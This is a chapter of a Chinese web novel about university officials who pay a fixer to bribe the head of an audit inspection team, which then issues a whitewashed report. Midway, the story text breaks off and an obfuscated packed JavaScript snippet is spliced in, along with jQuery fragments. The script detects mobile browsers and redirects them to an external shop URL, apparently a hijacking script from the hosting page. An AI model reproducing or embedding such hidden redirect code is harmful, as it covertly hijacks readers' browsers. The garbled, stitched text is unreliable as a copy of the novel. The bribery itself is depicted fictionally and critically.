66. 闯关成功

作品:《象牙塔之波

    对眼前工作的厌倦和无奈,如同眼下梅雨季的苔藓,在顾明远的心头悄然滋生。然而,责任感却像一棵盘根错节的老树,在他脑海中根深蒂固。眼看上级检查组即将进驻,山雨欲来的压抑感让他心中忐忑不安,他再次下意识地拨通了钟德君的电话,希冀从这位“局外高人”那里获得一剂应对的良药。


    钟德君的回答直白得近乎残酷:“老姑你听我的,能置身事外就置身事外,能从基建处这摊浑水里抽身,就尽快。”他甚至带着几分戏谑调侃道:“你老顾本质上是个秀才,搞学问、做研究是你的强项。基建这潭水太深太浑,给不了你施展的舞台。你还是尽早离开这是非之地,去做些自己真正感兴趣且有价值的事情,那才叫不负平生所学。万一哪天老孟那边爆了雷,火星子溅到你身上,误伤了你,那才叫冤呢。”


    顾明远握着听筒,沉默着不说话。钟德君的话,像一把钥匙,精准地打开了他心中那扇隐秘的门。去意,其实早已萌生。然而,现实是自己仍在任上,当他说出“检查组马上就到,我作为处长,总不能完全撒手不管……”,钟德君在电话那头不屑地笑道:“天塌下来有高个子顶着。你操哪门子闲心?”随即挂断了电话,留下“嘟嘟”的忙音在空荡的办公室回响。


    几乎在同一时刻,孟超不谋而合也想起了钟德君。如今,财大气粗、羽翼渐丰的钟德君和自己早已渐行渐远,为此孟超在心里不知将“小人得志”、“忘恩负义”这类词汇在钟德君身上反复捶打了多少遍。然而,现在上命运攸关的关键节点,孟超无法忽视钟德君的存在。他不得不压下心中的不屑与愤懑,希望这个在省内审计界响当当、叫得响的前部下能够为自己支支招、指指路。


    钟德君怔和朋友在城郊一处隐秘乡间会所的鱼塘畔垂钓。孟超的电话一直响个不停,他就是置之不理,直到一位鲫鱼上钩,他才悠闲地对着剧烈摇摆的钓物说了句“你是自己上钩的哦”,然后慢悠悠地接听了孟超第四次打来的电话:“哎呀,是孟校哇。不好意思,我怔陪审计厅的几位领导考察呢”,他有意将“审计厅”三个字用了加重语气,然后故意压低声音说了句“我出来和你说话”。


    寒暄了几句,孟超说出了自己的来意。钟德君却故意用一种急促而神秘的语调打断了他:“不好意思,刘副厅长出来了,我去打个招呼”,挂断电话后再鱼塘边走了两个来回,然后重新接通了孟超的电话。钟德君彷佛是有未卜先知的本领,笑着说道:“我就知道你会给我来电话的。这样吧,你们的事情一句两句说不完,后天是周末,要不你订个地方,我们面谈?”


    孟超愣了一下,虽然对钟德君大大咧咧的口气不满,也只好答应下来。


    他特意让韦江龙订了一家专做海鲜的会所。地方选定后,孟超开始琢磨谁来作陪的事情。汪清早作为宴请的“出资方”,自然必须参加。孟超了解钟德君对女色百吃不厌的嗜好,觉得需要有一位女性出面烘托气氛,不免有些怀念起已经辞职远走的胡莎莎来。韦江龙提议让刘芳参加,孟超想了想摇头拒绝,都不是不愿意让人分享,怕的是她和汪清早之间出现误会。这时,门外闪过一个熟悉的身影。孟超眼前一亮:就是秦冰纶她了。一来很早以前钟德君九将其视为“梦中情人”,二来秦冰纶是这次迎检的负责校领导。


    果然,当孟超向秦冰纶发出邀请时,她只作了片刻的犹豫便答应了下来。


    秦冰纶的到来有些出乎钟德君的预料。想当年在楚江大学工作的时候,自己在梦中无数次和美人有过痴缠。只可惜现实中,美人高傲的眼光似乎从未在他这个“乡下小子”身上有过片刻的停留。如今,功成名就,信心爆棚,钟德君早已经从仰视梦回变成了在内心随意亵玩。


    以秦冰纶的敏锐,自然清晰地感知到了钟德君那毫不掩饰的玩味目光。出发之前,孟超极力向她渲染、哄抬钟德君如今的身价和能量,让她不得不对这个曾经的“乡下小子”刮目相看。毕竟,学校的这次迎检说到底就是一次审计,确实有用得上钟德君的地方。想到这些,心高气傲的秦冰纶强行压下内心的不适,脸上堆起恰到好处的笑容,一口一个“德君”、“德君”地叫得格外热络亲切,仿佛彼此是相识多年的挚友。


    美人在侧,软语在耳,像羽毛般轻轻撩拨着钟德君的心弦,内心早就在意念的狂想中将女神按在沙发里揉搓了好几回。


    孟超有些等不及,迫不及待地将钟德君请进了里间茶室。小小的茶室顿时变成了一个没有硝烟的谈判场。孟超和秦冰纶一唱一和,孟超负责表达意见和营造氛围,秦冰纶负责强化感情和施展风情。


    然而,钟德君早已不是当年那个可以被轻易看穿、随意拿捏的毛头小伙子。他早就有了一套应付着两位象牙塔里的“小王”,任凭两人巧舌如簧,在没有看见实实在在的“兔子”之前,他是决不放出手中的那只“鹰”来。


    每到孟超向他询问破题之策时,钟德君便来回重复“风声很紧”“情况不妙”、“问题不少”这些车轱辘话,实在逼急了,便会挤牙膏似的冒出一句:“唉,这事儿吧,说难也难,说易也易,关键是路子得对,路子对了,也不是完全没有办法……。” 留下无限的想象空间来吊足二人的胃口。


    最后,还是秦冰纶沉不住气,亲自将刚泡好的一杯参香馥郁的人参乌龙茶袅袅婷婷地端到钟德君面前。也许是动作幅度过大,不经意将一道幽深的□□暴露在钟德君的眼前。钟德君只觉得一股热流直冲头顶,他强作镇定咽了咽口水,接过茶杯时指尖有意无意擦过秦冰纶玉指,秦冰纶看得清楚,顺势坐在他的身旁,放任身上的幽香丝丝缕缕沁进钟德君的鼻翼:“德君,”她的声音轻柔中带着一丝若有若无的嗔怪:“说起来,我们以前在楚大还是好同事嘛。我今天和孟校长可是诚心实意来向你请教的,你人脉广、消息灵通,有什么就直说嘛,也好让我们心里有个准备。” 她的话语像裹着蜜糖的软针,既满足了钟德君的虚荣,也带着不易察觉的催促。


    钟德君的眼睛毫无顾忌地在秦冰纶饱满的胸脯上大胆地游走了一圈后,“呵呵”干笑了一声说道:“好吧,看在你秦大美女的面子,我给你们支一招”,说罢,用手指在面前的茶杯里的茶在玻璃桌面上写了一个“人”字。


    孟超和秦冰纶面面相觑,不明就里。钟德君轻蔑地笑了起来:“两位校长,我只问你们,这词专项检查靠谁来做?”


    孟超恍然大悟,脱口说了声“人呀。”


    “这不就结了嘛。”钟德君两手一摊,仿佛揭示了什么了不得的真理:“你们当领导的是‘盘人’高手啊。应该知道这种事该怎么做的呀。”


    秦冰纶若有所思:“问题是我们不知道来检查的是些什么人呀?”


    看见两人渐渐上了轨道,钟德君暗自高兴。来前他已经打听到这次牵头的组长是审计厅刚刚退休的调研员“梅淑芳”,这才是今天钓鱼的最大“饵料”。当然,以钟德君的精明,自然不会轻易透露半点信息,只是有意半吞半吐、半遮半掩露出一些丝絮来。


    孟超和秦冰纶二人的心被丝絮撩拨得奇痒无比又无可奈何。孟超心里大概猜到了钟德君的底数,抽出一根烟恭敬地递上后说道:“德君,外面的菜都快上齐了。咱们都是明白人,就不云山雾罩的了。如果是钱可以摆平的,你就直接说个数。”


    钟德君故意将手指压在嘴唇上做了个“嘘”的手势轻声说道:“谈钱伤感情。隔墙有耳呢。”


    为了显得自己不是如此俗气,钟德君故意叹了口气:“路在脚下。就怕你们这些象牙塔里的知识分子太清高了呀。”


    孟超不想在气势上被这个他内心视为“暴发户”的后生看扁,立刻挺直腰板,用一种带着江湖气的豪爽回应道:“德君你放心,大敌当前,没有什么清高不清高的。你尽管说个数字。”


    秦冰纶有些担忧,焦急地问道:“问题在于,我们连检查组的负责人是谁都不知道。总不能把钱随便送人吧?”


    钟德君早就预料,身体向后靠在沙发背上:“德君既然敢给你们指这条道儿,自然就有办法把‘庙门’给你们找到,甚至帮你们把‘香’递到‘菩萨’跟前。不然,我今晚坐在这里干嘛呢?”


    孟超生怕秦冰纶的顾虑打消了钟德君帮忙的念头,一个劲地催着他报出数字。


    钟德君抬起右手,伸出三根指头。


    “三……三万?”秦冰纶轻轻叫唤了一声。对钟德君深有了解的孟超心里“咯噔”一下。果然,钟德君笑着摇了摇头:“看来秦校长对外面的世界还不太了解啊。”眼神里流露出来的是毫不掩饰的蔑视与讥诮,顿了顿,加重语气说道:“你们楚大新校区建设的问题,你们应该比我清楚呀。如果检查组认起真来,那可就不是三十万的事情喽。”


    秦冰纶倒吸了一口凉气,没有料到钟德君如此狮子大开口。孟超比秦冰纶更在意钟德君说的话,一狠心咬牙说了句“我们想办法吧”。


    为了打消两人心中的犹豫,钟德君笑着说道:“这还是看在你孟校和秦校两位老朋友的面子上,给的友情价。去年替省里一家省属企业牵线摆平类似的问题,前前后后花了一百万才把屁股擦干净。说实话,你们这边问题的复杂程度一点也不亚于人家。”


    秦冰纶杏眼慌乱地望着孟超,意思是“去哪里弄这一笔巨款呢”。


    毕竟检查事关自己的身家前途,孟超沉默片刻后,抬起头目光坚定地看着钟德君:“行,就按你说的这个数办。”说罢,用力握住钟德君的胳膊使劲摇晃了两下语气严肃地说道:“德君,我和秦校可是把你当真正的朋友。这件事,一定要做得干净利落,绝不能留下任何后患。”


    达到目的的钟德君衣服云淡风轻的样子:“二位放心吧,钱到账了,我立马行动,保准成功。”说罢,拍了拍自己的肚皮说道:“正事谈完了,该犒劳犒劳它了。”


    趁着钟德君去洗手间的工夫,秦冰纶一把拉住孟超急切地说道:“你倒爽快,三十万可是个天文数字啊!我可没有办法筹到这笔钱。再说,万一这家伙收了钱事情没办成呢?”


    孟超此时也是有些心乱如麻,但为了在秦冰纶面前显出自己的英雄本色,故意捏了一把她的胳膊豪爽地说道:“放心吧,这事包在我身上,到时你在前面把握好节奏就行了。钟这个人我还是了解的,虽然贪婪滑头,但拿钱办事的信誉还是有的,不然他也不可能在圈子里混到今天这个地位。”


    秦冰纶嘟哝了一句:“到哪里化缘这一大笔钱呢?”孟超本想说出“汪清早”这个名字,话到嘴边又咽了回去。有些事,知道的人越少越好。


    这些天,顾明远带着基建处的全体人员开始为检查组进校进行各种资料准备和答询预演。越是准备得深入,发现的问题越弹出得更多,这让他肩上的压力增加了不少。韦江龙似乎淡定得多,看见顾明远面对小山似的项目档案眉头紧锁的样子,甚至开起了玩笑:“放心吧,一切都在孟校长的掌控之中呢”,暧昧的眼神和笑容,让顾明远觉得韦江龙似乎有什么事情瞒着自己。


    按照约定,孟超让汪清早将十五万元“预付款”准时打入到了钟德君指定的账户。钟德君确实言而有信,动用自己的关系网络,联系上了专项检查组组长梅淑芳。


    得到梅淑芳“勉强”同意见面的许可后,钟德君怀揣着装着五万元现金的牛皮纸信封,趁着夜色潜入了梅淑芳家所在的小区。


    梅淑芳是一个身材瘦小干瘪、脊背有些佝偻的女人,说话时习惯从黑框眼镜上方用两道锐利如手术刀般的目光冷冷地“剜”向来人。想起中间人告诉的梅淑芳是个寡妇的信息,加上房间灯光暗淡而静穆,钟德君觉得后背有些发凉,只盼着赶紧办完事后离开。


    好在中间人前面已经做了足够的铺垫,梅淑芳的态度算不上特别的冷淡,但似乎也不打算让钟德君久留,寒暄了几句后,主动询问他的具体要求,钟德君先是将牛皮信封放在她面前的餐桌上,然后直奔主题说出了自己的想法。梅淑芳眼角随意瞥了一眼信封后只淡淡说了句:“让他们尽量准备充分些吧。”然后缓缓地起身,显然是要送客的意思。


    没有拒绝信封就意味着已经默许了自己的请求。钟德君如蒙大赦,赶紧知趣地离开了这个令人窒息的地方。临出门时,借着眼角的余光,看见梅淑芳伸出有些枯瘦的右手在信封上按了按。


    一周后,梅淑芳率领检查组一行十人,浩浩荡荡地开进了楚江大学。由于此事关系重大、时间敏感,戈大垣和周濂对检查组进校给予了空前的重视。他深知这次专项检查如果真出了问题,自己作为学校一把手无论如何是很难脱去干系的,这对他下一步从高校转到政府的“仕途转型升级”布局肯定造成致命影响。为此,除了亲自主持隆重的见面会外,他还会挤出时间每天中午单独陪同梅淑芳用餐,时不时晚上去梅淑芳下榻的酒店嘘寒问暖以示关心,尽力拉近和梅淑芳的距离。


    作为迎检负责人的秦冰纶更是小心谨慎事必逢迎。从钟德君那里打听到了梅淑芳的性格特征和行事风格后,秦冰纶刻意降维了自己光鲜亮丽的着装和化妆,在梅淑芳面前尽量显得朴素而低调,以免刺激到了梅淑芳。在周濂的提醒下,她会不时的以个人名义给梅淑芳送些购物卡、化妆品之类的小玩意。刚开始梅淑芳还会冷着脸拒绝,时间长了,也许被秦冰纶的诚意感动,对她的态度明显温和了许多,有时甚至还能一起拉拉家常,说些女人间的话题。


    关注检查组进校的何止戈大垣、秦冰纶她们。这些天来,楚江大学的空气四处弥漫着躁动、欣喜、不安的气味,各种小道消息和传闻随风钻进各个办公室和人们耳朵中进进出出。南令陶、石凤芝他们每天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904267|192344||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像是打了鸡血般的上蹿下跳,游走在校园的每一个角落,制造着“听说新校区那块地当初拿得有问题”、“二期工程有些账目一塌糊涂”、“大学生活动中心偷工减料”、“弄不好这次要捅出漏子来”这样一些似是而非的消息来,搅得人心惶惶、难辨真假。


    对这一切了如指掌戈大垣有些焦虑不安。尤其昨天午餐时,梅淑芳有意无意地透露这段时间“意见箱”天天爆满的消息后,戈大垣更是急火攻心、忧心忡忡。在和校长周濂关门研判了半天,两人嗅出了一些副校长江川幕后操纵的气息,便连夜召开班子会敲警钟,围绕着“相互补台,好戏连台;相互拆台,共同垮台”的道理,戈大垣疾言厉色又苦口婆心地唱了一个小时的独角戏,目光不时瞟向了假装认真在做笔记的江川。


    整天,戈大垣正在埋头签批文件,办公室的门被悄无声息地推开又掩上。主任桂先锋侧身而入,脸上带着一种秘而不宣的得意。他凑到办公桌前,如同展示珍宝般,从口袋里小心掏出一个U盘,压低声音道:“戈书记,这是最近几次给梅组长送礼时,我悄悄用手机录的音……留着,将来或许是个防备。”


    话音未落,一股寒意猝然窜上戈大垣的脊背。他在公安战线摸爬滚打多年,见过形形色色的人物与手段,却万万没想到,在高校这片“净土”上,在自己身边,竟藏着这样一位工于心计的“高手”。联想到近年来关于桂先锋狐假虎威、擅作主张的那些传闻,戈大垣心中响起了警铃。他眼皮微抬,目光平静地扫过桂先锋那张邀功请赏的脸,语气听不出半分波澜:“这种事嘛,以后还是不要做了。”


    桂先锋脸上那抹讨好的笑意瞬间冻结,只好讪讪地收回U盘,连声应和。方才的得意,已化为了一脑门的冷汗。


    一个月来,与检查组的几次正面交锋,已让顾明远身心俱疲。尽管每一次被召见,他都如履薄冰般全力应对——材料反复核对,问答预先斟酌,力求每一个环节都无懈可击——但他仍能清晰地感觉到,在检查组那些专业而锐利的眼睛逼视下,,自己精心准备的防御总会被撕开一些缝隙。某一句迟疑的回应,或是一个犹豫的眼神,都可能被对方抓住穷追猛打。这让他每一次走出那间谈话室,都有种虚脱般的后怕,仿佛自己一个不经意的疏忽,就会成为引爆整个学校的导火索。


    而门外等待他的,往往是另一场无声的审判。分管领导孟超似乎对他的每一次接受闻讯都十分在意,总能第一时间将他召至办公室。在那里,没有关怀,只有审视。从检查组问话语气、具体内容到顾明远的每一句作答,孟超都会反复盘问,那双眼睛里闪烁的是毫不掩饰的质疑与猜忌。这怀疑的目光,像一块沉重的巨石,压在顾明远早已不堪重负的心上。内外交困之下,他胃痉挛的老毛病汹涌地发作了。这一次,顾明远索性听从了吴若甫“正好休息几天避避风头”的建议,向孟超递上了假条,将自己暂时藏匿在安静、舒适的家中。


    林思齐得知消息后,立刻带上药物赶了过来。说来也怪,原本拧紧般绞痛着的胃,在听到她声音、看到她身影的刹那,竟像被一只温柔的手轻轻抚过,那尖锐的痛楚悄然消散,只余下一种沉重的疲惫。或许是这份突如其来的舒缓卸下了他的心防,又或许是在她面前,他本就不必强撑。顾明远望着她为自己倒水的背影,一种久违的安心感弥漫开来,藏在心底许久的念头也随之滑出唇边:“基建的摊子,我或许真该抽身了。”


    林思齐将水递到他手中,目光柔和,声音坚定:“看你这些年这么辛苦和纠结,是可以考虑离开了。不过,这事吧,我劝你不要操之过急,毕竟是体制内,最好还是等一个最稳妥的时机,平稳离开,保全自己。”


    她的话语像一阵暖流,精准地熨帖了顾明远心中的纠结与不安。


    两个月的煎熬终于迎来了检查组离校前的反馈会。


    次日,学校第一会议室里,空气沉重得近乎凝固。校领导班子成员与主要处室负责人悉数在座,人人敛声屏气,正襟危坐,如同雕塑。当戈大垣、周濂亲自陪同梅淑芳步入会场时,全场的气氛骤然绷紧至极限。所有目光,都难以自控地悄然投向这个身材瘦小的女人身上,仿佛在等待一场关乎所有人前途命运的最终宣判。


    在主位上坐定后,一直以严肃形象示人的梅淑芳将手中的通报稿轻轻放下,眼角深刻的皱褶里竟然漾出几丝意味不明的笑意。她干咳了两声后说道:“咱们这次检查工作呀,”顿了顿,环视一周后嗓音沙哑:“就像剥一个煮熟的鸡蛋。目的不光是看清蛋壳和蛋白,有时候,还得往深处探一探,看看蛋黄是不是完好,有没有散黄、变质。找到了根子,很多问题,也许就……都不是问题了。”


    这个晦涩的比喻,让在场的人有些一头雾水:蛋黄指什么?是更深的管理漏洞,还是某个具体的人?在焦虑与探究的目光中,梅淑芳重新拿起稿子开始照本宣科宣读起来。


    十分钟后,梅淑芳宣读完毕。所有在场的人都结结实实愣住在椅子上不能动弹。无休止的现场勘查、无休止的关门诘问、无休止的调看数据……,人们原本以为会查得千疮百孔,结果从梅淑芳嘴里吐出的竟然上一个好得远远超出大家想象的乐观结论,尤其是关于新校园建设部分,除了“有些项目流程不够严谨”、“个别项目手续不够完备”外,再无其他问题。倒是副校长江川分管的工程结算方面,被加重语气指出了“超前支付”“手续缺失”两个更加突出的问题,并明确指出分管领导要负主要责任。


    心理与现实的巨大反差让会议室瞬间寂静,很快,乐观的情绪开始无声地弥漫开来。


    散会时,江川的脸上如同打翻了调色盘,写满了失落、郁闷和愤懑。他没有像其他的人那样去向孟超、秦冰纶握手祝贺,而是低着头快速起身第一个离开了会议室。会议室里,孟超脸上洋溢着掩饰不住的春风得意;秦冰纶容光焕发,眼神重新满是风情和妩媚。


    作为直接的当事人,顾明远自然为工程检查的顺利过关感到庆幸和高兴。但是,这种轻松和高兴转瞬就被一众奇怪、复杂的情绪所淹没。看着孟超满面春风与同僚们互相道贺、弹冠相庆,顾明远只觉得胸口发闷。一种混合着狐疑、感慨的浪潮在他心中翻涌。他比谁都清楚,新校园建设过程中存在的某些问题,绝不仅仅是报告上那句轻飘飘的“流程不够严谨”“手续不够完备”那么简单。此刻,这个“皆大欢喜”的圆满结论,在他眼中,宛如一出精心编排却漏洞百出的闹剧。而他自己过去两个月那些熬夜加班的准备、那些字斟句酌的应答、那些如履薄冰的谨慎,在这出闹剧的映衬下,显得如此可笑而苍白。


    他默默地收好桌上的笔记本,没有加入任何一场寒暄。窗外,雨后天晴,天空似乎比往日明亮了些,可他的内心,却仿佛被一层吹不散的灰色尘埃所笼罩,一片沉寂。